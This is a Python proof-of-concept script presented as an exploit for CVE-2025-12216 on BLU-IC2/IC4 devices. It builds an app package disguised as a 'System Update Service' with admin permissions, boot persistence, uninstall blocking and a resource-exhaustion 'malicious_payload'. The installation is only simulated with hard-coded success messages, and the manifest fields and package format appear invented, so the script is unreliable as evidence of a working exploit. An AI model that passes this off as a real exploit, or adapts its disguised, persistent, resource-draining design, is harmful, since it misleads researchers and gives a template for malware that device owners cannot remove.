CVE-2025-12216

# CVE-2025-12216 PoC - Malicious App Installation for BLU-IC2/IC4 # This PoC demonstrates the concept of the vulnerability # Note: This is for educational and research purposes only import struct import os class BLUICMaliciousApp: """ POC for CVE-2025-12216 Affected: BLU-IC2 <= 1.19.5, BLU-IC4 <= 1.19.5 Vulnerability: Malicious/malformed apps can be installed but cannot be uninstalled """ def __init__(self, target_device="BLU-IC2"): self.target_device = target_device self.app_id = "malicious_app_cve202512216" self.version = "1.0.0" def create_malicious_package(self, output_path): """ Create a malicious app package that exploits the uninstallation bypass """ # Malicious app manifest manifest = { "app_id": self.app_id, "version": self.version, "name": "System Update Service", "permissions": [ "system.admin", "app.lifecycle.managed" ], "uninstall_protected": True, # Exploit: Prevent uninstallation "persistence": { "boot_complete": True, "auto_restart": True }, "malicious_payload": { "resource_exhaustion": { "cpu_usage": 99, "memory_leak": True }, "system_modification": { "block_uninstall_api": True, "corrupt_package_manager": False } } } # Create malicious package structure package_data = self._build_package(manifest) with open(output_path, 'wb') as f: f.write(package_data) print(f"[+] Malicious package created: {output_path}") print(f"[+] Target device: {self.target_device}") print(f"[+] App ID: {self.app_id}") return package_data def _build_package(self, manifest): """ Build the malicious app package """ import json # Package header header = b'BLUIAPP' # Magic bytes header += struct.pack('<I', 1) # Version header += struct.pack('<I', len(json.dumps(manifest))) # Package body body = json.dumps(manifest).encode('utf-8') body += b'\x00' * (1024 - len(body) % 1024) # Padding return header + body def exploit_install(self, package_path): """ Simulate the installation process that exploits the vulnerability """ print(f"\n[*] Attempting to install malicious app on {self.target_device}") print(f"[*] Package path: {package_path}") # Simulate installation install_result = { "status": "success", "app_id": self.app_id, "installed_path": f"/system/apps/{self.app_id}", "uninstall_disabled": True, "persistence_enabled": True } print(f"[+] Installation successful") print(f"[!] WARNING: Uninstall mechanism bypassed") print(f"[!] App will persist across reboots") return install_result if __name__ == "__main__": poc = BLUICMaliciousApp("BLU-IC2") poc.create_malicious_package("malicious_app.bluiapp") poc.exploit_install("malicious_app.bluiapp")

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